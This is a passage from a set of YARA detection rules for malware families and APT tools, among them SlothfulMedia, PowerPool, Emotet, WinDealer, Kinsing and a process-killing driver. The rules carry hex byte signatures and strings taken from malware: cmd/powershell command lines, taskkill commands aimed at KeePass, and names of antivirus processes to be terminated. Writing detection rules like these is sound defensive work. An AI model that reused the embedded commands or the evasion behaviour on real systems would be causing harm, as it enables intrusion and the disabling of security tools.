		$s3 = { 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 20 00 61 00 20 00 2d 00 72 00 20 00 25 00 73 00 2e 00 72 00 61 00 72 00 20 00 2d 00 74 00 61 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 20 00 2d 00 74 00 62 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 }
		$s4 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 24 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 54 00 61 00 62 00 6c 00 65 00 2e 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 }
		$s5 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 }
		$s6 = { 83 c4 04 53 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 0c 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 08 83 7c 24 20 00 68 40 01 00 00 74 61 33 ed 55 68 88 ?? 43 00 e8 ?? a4 00 00 b8 50 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 3b cd 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 3b cd 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 90 ?? 42 00 f3 a4 e8 [2] 00 00 83 c4 04 33 f6 89 74 24 20 eb 66 6a 00 68 88 ?? 43 00 e8 ?? a4 00 00 b8 f0 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 85 c9 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 85 c9 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 98 ?? 42 00 f3 a4 e8 ?? 95 00 00 c7 44 24 24 01 00 00 00 8b 74 24 24 83 c4 04 33 ed 68 d0 07 00 00 a3 d4 ?? 42 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Slothfulmedia_Jul_2021_1 : FILE
{
	meta:
		description = "Detect SlothfulMedia malware"
		author = "Arkbird_SOLG"
		id = "f4e1eca6-ecc9-5911-b69e-c8c4de43f1a1"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "hhttps://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_SlothfulMedia_Jul_2021_1.yara#L1-L26"
		license_url = "N/A"
		logic_hash = "929364cbb9854336641590d53ee9c4548f02845e26252d359b155e4c2b1032ca"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb"
		hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae"
		hash3 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
		$s2 = "\\VarFileInfo\\Translation" fullword wide
		$s3 = { 5c 00 46 00 69 00 6c 00 74 00 65 00 72 00 [2-8] 2e 00 6a 00 70 00 67 }
		$s4 = "\\SetupUi" fullword wide
		$s5 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 }
		$s6 = { 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 25 00 73 00 25 00 64 }
		$s7 = { 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 }
		$s8 = { 45 00 72 00 61 00 20 00 75 00 70 00 6c 00 6f 00 61 00 64 00 3a 00 25 00 73 00 20 00 25 00 64 }
		$s9 = "ExtKeyloggerStart" fullword ascii
		$s10 = "ExtKeyloggerStop" fullword ascii
		$s11 = "ExtServiceDelete" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and 8 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_1 : FILE
{
	meta:
		description = "Detect PowerPool malware"
		author = "Arkbird_SOLG"
		id = "8248300e-fc3e-56df-be4a-f1850e2bedc8"
		date = "2021-07-09"
		modified = "2021-07-12"
		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_1.yara#L1-L29"
		license_url = "N/A"
		logic_hash = "0978a6cd60533ffda0c2b13ea98dc1ba46a464890b895cb2704804a763756fca"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "9c08136b26ee5234c61a5d9e5a17afb15da35efc66514d2df5b53178693644c5"
		hash2 = "23e7e0bbc36d523daa8e3cd8e32618c6c1fb61e32f664756e77d7917b3b11644"
		hash3 = "e30d32cc40ad19add7dfdcbed960d5f074ea632b796ae975b75eb25455b66bb0"
		hash4 = "88e7813340194acc4b094fd48ecf665a12d19245b90f2a69dab5861982ca95f6"
		tlp = "White"
		adversary = "IAmTheKing"
	strings:
		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
		$s2 = "Set Option failed errcode: %ld" fullword ascii
		$s3 = { 68 96 00 00 00 68 ?? c4 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 ?? 4f fe ff 59 c3 68 96 00 00 00 68 ?? c5 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 ?? 4f fe ff 59 c3 68 96 00 00 00 68 [2] 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 [2] fe ff 59 c3 83 3d ?? 4c 45 00 00 74 38 53 6a 01 b8 ?? 4c 45 00 e8 ?? a0 fc ff 50 6a 00 b9 ?? 4c 45 00 e8 [2] fb ff 6a ff bb 01 00 00 00 b8 ?? 4c 45 00 e8 [2] fc ff 40 50 b9 ?? 4c 45 00 e8 [2] fb ff 5b 33 c0 6a ff 50 68 ?? 4c 45 00 }
		$s4 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 }
		$s5 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 2d 2d 4d 55 4c 54 49 2d 50 41 52 54 53 2d 46 4f 52 4d 2d 44 41 54 41 2d 42 4f 55 4e 44 41 52 59 0d 0a }
		$s6 = { 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 0d 0a 0d 0a }
		$s7 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a }
		$s8 = { 25 73 3b 74 79 70 65 3d 25 73 3b 6c 65 6e 67 74 68 3d 25 73 3b 72 65 61 6c 64 61 74 61 3d 25 73 65 6e 64 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and 6 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Emotet_Nov_2021_1 : FILE
{
	meta:
		description = "Detect Emotet loader"
		author = "Arkbird_SOLG"
		id = "ad67c735-7ed9-5440-b693-55dce9840f56"
		date = "2021-11-15"
		modified = "2021-11-16"
		reference = "https://cyber.wtf/2021/11/15/guess-whos-back/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-16/MAL_Emotet_Nov_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "9ae3cbf863fdf3addd7ec00b4d6b55024c3159156518ef15fff79f5a92988297"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0865bd192e226da2c40b8bdd33a65ef41ca255a0031b3b36ab6a657ba6675d5e"
		hash2 = "14613fa0b6eea4cd9205ffbe1c462178c94298707d19f78a27eec3dece8765f0"
		tlp = "white"
		adversary = "TrickBot Gang"
	strings:
		$s1 = { 8b 4d 08 0f b6 02 0f b6 31 2b f0 75 18 0f b6 71 01 0f b6 42 01 2b f0 75 0c 0f b6 71 02 0f b6 42 02 2b f0 74 10 33 c9 85 f6 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 49 03 0f b6 42 03 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 8b c1 eb 56 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 0c 0f b6 51 01 0f b6 46 01 2b d0 74 06 33 c9 85 d2 eb b4 0f b6 49 02 0f b6 46 02 eb be 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 e0 0f b6 49 01 0f b6 46 01 eb a4 8b 45 08 0f b6 08 8b 45 0c 0f b6 00 eb 96 33 c0 5e 5b 5d c3 8b ff }
		$s2 = { 8b 75 10 83 e0 3f 8b 5d 18 6b c8 38 c1 fa 06 89 75 a0 89 5d c4 89 55 b0 8b 04 95 [2] 03 10 89 4d bc 8b 44 08 18 89 45 9c 8b 45 14 03 c6 89 45 ac ff 15 ?? 40 03 10 80 7b 14 00 89 45 90 75 07 8b cb e8 [2] ff ff 8b 43 0c 8b 75 08 8b fe 8b 40 08 89 45 98 33 c0 ab ab ab 8b 45 a0 8b d0 89 55 d0 3b 45 ac 0f 83 14 03 00 00 8b 7d bc 33 db 89 5d b8 81 7d 98 e9 fd 00 00 8a 02 88 45 cf 8b 45 b0 89 5d c0 c7 45 d4 01 00 00 00 8b 0c 85 }
		$s3 = { 53 53 40 6a 05 89 45 d0 8d 45 d8 50 ff 75 d4 8d 45 c0 50 53 ff 75 90 e8 [2] ff ff 83 c4 20 89 45 c8 85 c0 0f 84 00 01 00 00 53 8d 4d a4 51 50 8d 45 d8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 dd 00 00 00 8b 55 d0 8b ca 2b 4d a0 8b 46 08 03 c1 89 45 b8 89 46 04 8b 45 c8 39 45 a4 0f 82 c6 00 00 00 80 7d cf 0a 75 3c 6a 0d 58 53 66 89 45 a8 8d 45 a4 50 6a 01 8d 45 a8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 95 00 00 00 83 7d a4 01 0f 82 93 00 00 00 ff 46 08 ff 46 04 8b 46 04 8b 55 d0 89 45 b8 3b 55 ac 0f 82 6f fd ff ff eb 79 85 }
		$s4 = { ba 08 00 00 00 c1 e2 00 8b 45 f0 8b 4c 10 78 03 4d fc 89 4d f8 ba 08 00 00 00 6b c2 0c 8b 4d f0 83 7c 01 78 00 74 09 c7 45 e8 0c 00 00 00 eb 07 c7 45 e8 01 00 00 00 8b 55 e8 89 55 e4 8b 45 e4 8b 4d f0 8b 54 c1 78 89 55 dc 8b 45 e4 8b 4d f0 8b 54 c1 7c 89 55 d8 8b 45 dc 03 45 fc 89 45 d4 8d 4d c8 51 6a 04 8b 55 d8 52 8b 45 d4 50 ff 15 04 40 03 10 8b 4d f8 83 79 0c 00 0f 84 cf }
		$s5 = { 83 20 00 33 c9 21 4d e8 53 8b 5d 08 57 33 ff 89 4d e4 89 7d e0 8b 03 85 c0 74 56 8d 4d fc 66 c7 45 fc 2a 3f 51 50 c6 45 fe 00 e8 12 55 00 00 59 59 85 c0 75 1a 8d 45 e0 50 33 c0 50 50 ff 33 e8 13 01 00 00 8b f0 83 c4 10 85 f6 75 74 eb 13 8d 4d e0 51 50 ff 33 e8 ad 01 00 00 83 c4 0c 85 c0 75 1d 83 c3 04 8b 03 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 30KB and 4 of them
}

rule ARKBIRD_SOLG_APT_Unknown_Middle_East_Feb_2020_1 : FILE
{
	meta:
		description = "Dectect unknown Middle East implants (retrohunt June 2020)"
		author = "Arkbird_SOLG"
		id = "e45675e6-29d5-587b-943e-19450772a092"
		date = "2021-03-05"
		modified = "2021-03-06"
		reference = "internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/Unknown/APT_Unknown_Middle_East_Feb_2020_1.yar#L1-L24"
		license_url = "N/A"
		logic_hash = "64cdac73bc3e29e8716cb24ae6577f853b2cf31303d129a0ec38ba89b7ff5351"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "274beb57ae19cbc5c2027e08cb2b718dea7ed1acb21bd329d5aba33231fb699d"
		hash2 = "3a4ef9b7bd7f61c75501262e8b9e31f9e9bc3a841d5de33dcdeb8aaa65e95f76"
	strings:
		$seq1 = { 55 8b ec 83 e4 f8 81 ec 08 04 00 00 a1 34 45 49 00 33 c4 89 84 24 04 04 00 00 83 ec 08 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 af 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 98 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 81 9f ff ff 83 c4 0c 8d 04 24 68 00 04 00 00 6a 00 50 e8 [2] 01 00 83 c4 0c 8d 04 24 [4] 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? ab 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 6c 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a9 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 33 c0 66 89 84 24 fe 03 00 00 8d 04 24 68 [2] 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a6 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 8d 4c 24 0c e8 6b a1 ff ff 83 c4 04 ba [2] 48 00 b9 ?? 83 48 00 68 [2] 48 00 e8 94 9e ff ff 8b 8c 24 10 04 00 00 83 c4 0c 33 cc e8 [2] 01 00 8b e5 5d }
		$seq2 = { 55 8b ec 6a ff 68 [2] 47 00 64 a1 00 00 00 00 50 81 ec d8 00 00 00 a1 34 45 49 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 45 08 8b 75 14 c7 45 fc 00 00 00 00 89 85 34 ff ff ff 89 85 40 ff ff ff 33 c0 50 50 50 50 c7 85 3c ff ff ff 00 00 00 00 68 ?? 70 48 00 89 b5 6c ff ff ff c7 85 48 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 00 00 00 00 89 85 50 ff ff ff ff 15 78 55 47 00 89 85 38 ff ff ff 85 c0 74 3f 6a 00 68 bb 01 00 00 68 ?? 6d 48 00 50 ff 15 8c 55 47 00 89 85 44 ff ff ff 85 c0 74 22 68 00 00 80 00 6a 00 6a 00 6a 00 68 ?? 71 48 00 68 ?? 6d 48 00 50 ff 15 90 55 47 00 89 85 50 ff ff ff 8b 3d 44 53 47 00 6a 00 6a 00 6a 00 6a 00 6a ff 56 6a 00 68 e9 fd 00 00 ff d7 8b f0 56 e8 ?? 35 01 00 83 c4 04 89 85 4c ff ff ff 6a 00 6a 00 56 50 6a ff ff b5 6c ff ff ff 6a 00 68 e9 fd 00 00 ff d7 68 80 00 00 00 8b f8 8d 85 70 ff ff ff 6a 00 50 e8 [2] 02 00 57 8d 85 70 ff ff ff 68 ?? 79 48 00 50 e8 ?? a3 00 00 83 c4 18 c7 85 64 ff ff ff 00 00 00 00 33 c0 c7 85 68 ff ff ff 07 00 00 00 8d 8d 54 ff ff ff 66 89 85 54 ff ff ff 6a 10 68 [2] 48 00 e8 ?? 84 00 00 8d 8d 70 ff ff ff c7 45 fc 01 00 00 00 8d 51 02 66 8b 01 83 c1 02 66 85 c0 75 f5 2b ca 8d 85 70 ff ff ff d1 f9 51 50 8d 8d 54 ff ff ff e8 89 63 00 00 6a 33 68 ?? 71 48 00 8d 8d 54 ff ff ff e8 77 63 00 00 8b b5 50 ff ff ff 85 f6 }
		$s1 = "taskkill /im svehost.exe /t /f" fullword ascii
		$s2 = "\\AppData\\Windows\\svehost.exe" fullword ascii
		$s3 = "svehost.exe" fullword wide
		$s4 = "bdagent.exe" fullword wide
		$s5 = "taskkill /im keepass.exe /t /f" fullword ascii
		$s6 = "%s\\AppData\\Windows\\svehost" fullword ascii
		$s7 = "\\AppData\\Roaming\\ViberPc" fullword wide
		$s8 = "\\AppData\\Roaming\\Skype" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 200KB and 1 of ( $seq* ) and 4 of ( $s* )
}


rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_1 : FILE
{
	meta:
		description = "Detect WinDealer implant"
		author = "Arkbird_SOLG"
		id = "7ffece8a-b56a-5893-a135-3001c0327f66"
		date = "2021-10-30"
		modified = "2021-10-31"
		reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "b6211274a0ffa55723d3c34763540278197507b4bd4b853249e16501a3aa5acb"
		score = 75
		quality = 71
		tags = "FILE"
		hash1 = "1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128"
		hash2 = "b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a"
		tlp = "white"
		adversary = "LuoYu"
	strings:
		$s1 = { 8b ec 81 ec 64 03 00 00 53 56 33 db 6a 64 8d 45 9c 53 50 e8 [2] 00 00 be 00 01 00 00 8d 85 9c fc ff ff 56 53 50 e8 [2] 00 00 56 8d 85 9c fd ff ff 53 50 e8 [2] 00 00 56 8d 85 9c fe ff ff 53 50 e8 [2] 00 00 83 c4 30 8d 45 9c 6a 64 50 ff 15 [2] 41 00 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 38 9d 9c fe ff ff 5e 5b 75 20 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 68 [2] 41 00 ff 75 08 ff 15 [2] 41 00 83 c4 14 6a }
		$s2 = { 8b ec b8 40 1c 00 00 e8 [2] 00 00 56 57 33 ff 68 [2] 41 00 89 7d f8 ff 15 [2] 41 00 8b f0 6a 32 8d 45 c0 57 50 e8 [2] 00 00 83 c4 10 3b f7 74 1c 6a 5c 56 ff 15 [2] 41 00 59 3b c7 59 74 0d 40 50 8d 45 c0 50 e8 [2] 00 00 59 59 be 00 04 00 00 8d 85 c0 f7 ff ff 56 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 fb fd ff ff 83 c4 14 39 7d fc 75 24 56 8d 85 c0 f7 ff ff 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 ?? fc ff ff 83 c4 14 56 8d 85 c0 fb ff ff 57 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 83 c4 14 83 7d fc 0a 7e 3e 83 f8 0a 7e 6d 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 f7 ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 4d fd ff ff 83 c4 1c 89 45 f8 eb 5c 83 f8 0a 7e 2f 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 16 fd ff ff 83 c4 18 eb c7 6a 43 8d 45 f4 68 [2] 41 00 50 ff 15 [2] 41 00 83 c4 0c 8d 45 f8 57 57 57 57 50 57 8d 45 f4 57 50 ff 15 [2] 41 00 8b 45 f8 }
		$s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4e 65 74 77 6f 72 6b 5c 7b 34 44 33 36 45 39 37 32 2d 45 33 32 35 2d 31 31 43 45 2d 42 46 43 31 2d 30 38 30 30 32 42 45 31 30 33 31 38 7d 5c 25 73 5c 43 6f 6e 6e 65 63 74 69 6f 6e }
		$s4 = { 6d 61 63 3a 20 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 }
		$s5 = { 8b d8 59 85 db 59 74 57 56 e8 [2] 00 00 03 d8 53 ff 15 [2] 41 00 6a 00 50 e8 [2] ff ff 6a 64 8d 45 9c 6a 00 50 e8 [2] 00 00 83 c4 1c 8d 45 9c 68 [2] 41 00 68 [2] 41 00 50 ff 15 [2] 41 00 66 8b 8f d2 07 00 00 51 8a 8f d0 07 00 00 51 50 8d 45 9c 50 e8 ?? f1 ff ff 83 c4 1c 5f 5e 33 c0 5b c9 c3 55 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 80KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_B_1 : FILE
{
	meta:
		description = "Detect Kinsing Variant B"
		author = "Arkbird_SOLG"
		id = "7e0f9826-806c-5801-aab5-d2a8dba4e206"
		date = "2020-08-28"
		modified = "2020-08-29"
		reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L32-L52"
		license_url = "N/A"
		logic_hash = "5862d02b4e57024aa1c00b0a10ac9ee1a733890cf7d5b9ec7586f0506af113fc"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "e1471e8f9c1aa1457f819c0565a3444c53d3ec5fadf9f52ae988fde8e2d3a960"
		hash2 = "e70ea87d00567d33e20ed8649ef532eda966a8b5b1e83ea19728528d991eaaa0"
	strings:
		$ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 }
		$ClassCode2 = "java/lang/StringBuilder" fullword ascii
		$ClassCode3 = "java/net/URL" fullword ascii
		$ClassCode4 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f }
		$Com1 = "chmod +x " fullword ascii
		$Com2 = { 53 4b 4c 01 00 02 6c 66 }
		$s1 = "kinsing" fullword ascii
		$s2 = "getAbsolutePath" fullword ascii
	condition:
		filesize < 1KB and 3 of ( $ClassCode* ) and 1 of ( $Com* ) and 2 of ( $s* )
}

rule ARKBIRD_SOLG_Backdoor_APT_Nazar_April_2020_1 : FILE
{
	meta:
		description = "Detect strings used by APT Nazar"
		author = "Arkbird_SOLG"
		id = "727a1f4e-1371-5a95-bce9-4a4f701a2ac6"
		date = "2020-04-29"
		modified = "2023-11-22"
		reference = "Internal research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-04-29/Yara_Rule_APT_Bazar-April_2020_1.yar#L3-L29"
		license_url = "N/A"
		logic_hash = "79028588ac6afd3e3d0d839d10eada9e5382991eebb600b0dae2119bcd7eac93"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
	strings:
		$s1 = "101;0000;" fullword ascii
		$s2 = "hodll.dll" fullword ascii
		$s3 = { 70 73 73 64 6B ?? ?? 2E 73 79 73 }
		$s4 = { 70 73 73 64 6B ?? ?? 2E 76 78 64 }
		$s5 = "##$$%%&&''(())**++,,--..//0123456789:;<=>?" fullword ascii
		$s6 = "SYSTEM\\CurrentControlSet\\Services\\VxD\\MSTCP" fullword ascii
		$s7 = "removehook" fullword ascii
		$s8 = "installhook" fullword ascii
		$s9 = "_crt_debugger_hook" fullword ascii
		$s10 = "\\Files.txt" fullword ascii
		$s11 = "\\report.txt" fullword ascii
		$s12 = "\\Programs.txt" fullword ascii
		$s13 = "\\Devices.txt" fullword ascii
		$s14 = "\\music.mp3" fullword ascii
		$s15 = "\\z.png" fullword ascii
	condition:
		12 of them and filesize > 120KB
}



rule ARKBIRD_SOLG_MAL_Killproc_Aug_2021_1 : FILE
{
	meta:
		description = "Detect KillProc driver used by Night Dragon for kill process before encryption"
		author = "Arkbird_SOLG"
		id = "b0d6a21d-f451-58c9-b640-ad57feec7c38"
		date = "2021-08-27"
		modified = "2021-08-29"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_KillProc_Aug_2021_1.yara#L1-L21"
		license_url = "N/A"
		logic_hash = "d24634e7719e3b6be3322b07c3e754e8c1275c73102c6d7f8d9abaae9887a0da"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9"
		adversary = "Lockfile"
	strings:
		$s1 = "find %s!\n" fullword ascii
		$s2 = "killed %s!\n" fullword ascii
		$s3 = "DbgPrint" fullword ascii
		$s4 = "ntoskrnl.exe" fullword ascii
		$s5 = "SBPIMSvc.exe" fullword ascii
		$s6 = "MsMpEng.exe" fullword ascii
		$s7 = { 48 8b ce ff 15 92 cf ff ff 48 8b d0 48 8b cb ff 15 8e cf ff ff 48 8d 7f 08 85 c0 74 0d 48 8b 1f 44 38 23 75 db e9 a7 00 00 00 48 8b ce ff 15 68 cf ff ff 48 8b d0 48 8d 0d 6e bf ff ff ff 15 70 cf ff ff 48 8b ce ff 15 37 cf ff ff 8b c8 48 8d 54 24 40 ff 15 3a cf ff ff 85 c0 78 56 48 8b 4c 24 40 48 8d 84 24 a8 00 00 00 48 89 44 24 30 45 33 c9 44 88 64 24 28 45 33 c0 33 d2 4c 89 64 24 20 ff 15 04 cf ff ff 85 c0 74 05 45 32 f6 eb 41 48 8b 8c 24 a8 00 00 00 33 d2 ff 15 0b cf ff ff 48 8b 8c 24 a8 00 00 00 ff 15 0d cf ff ff 41 b6 01 eb 05 45 84 f6 74 19 48 8b ce ff 15 da ce ff ff 48 8b d0 48 8d 0d f0 be ff ff ff 15 e2 ce ff ff 48 8b ce ff 15 a1 ce ff ff 48 83 }
		$s8 = "UpdaterUI.exe" fullword ascii
		$s9 = "VipreNis.exe" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 3KB and 6 of ( $s* )
}


rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_1 : FILE
{
	meta:
		description = "Detect custom .NET variant EFSPotatoe tool"
		author = "Arkbird_SOLG"
		id = "614a6543-89ce-5f75-9933-766fd1e5458b"
		date = "2021-08-27"
		modified = "2021-08-29"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "a9fed543aeaba380688ec59034b0e8c90fc0bea986085958966101bd44cf480f"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050"
		hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818"
		adversary = "Lockfile"
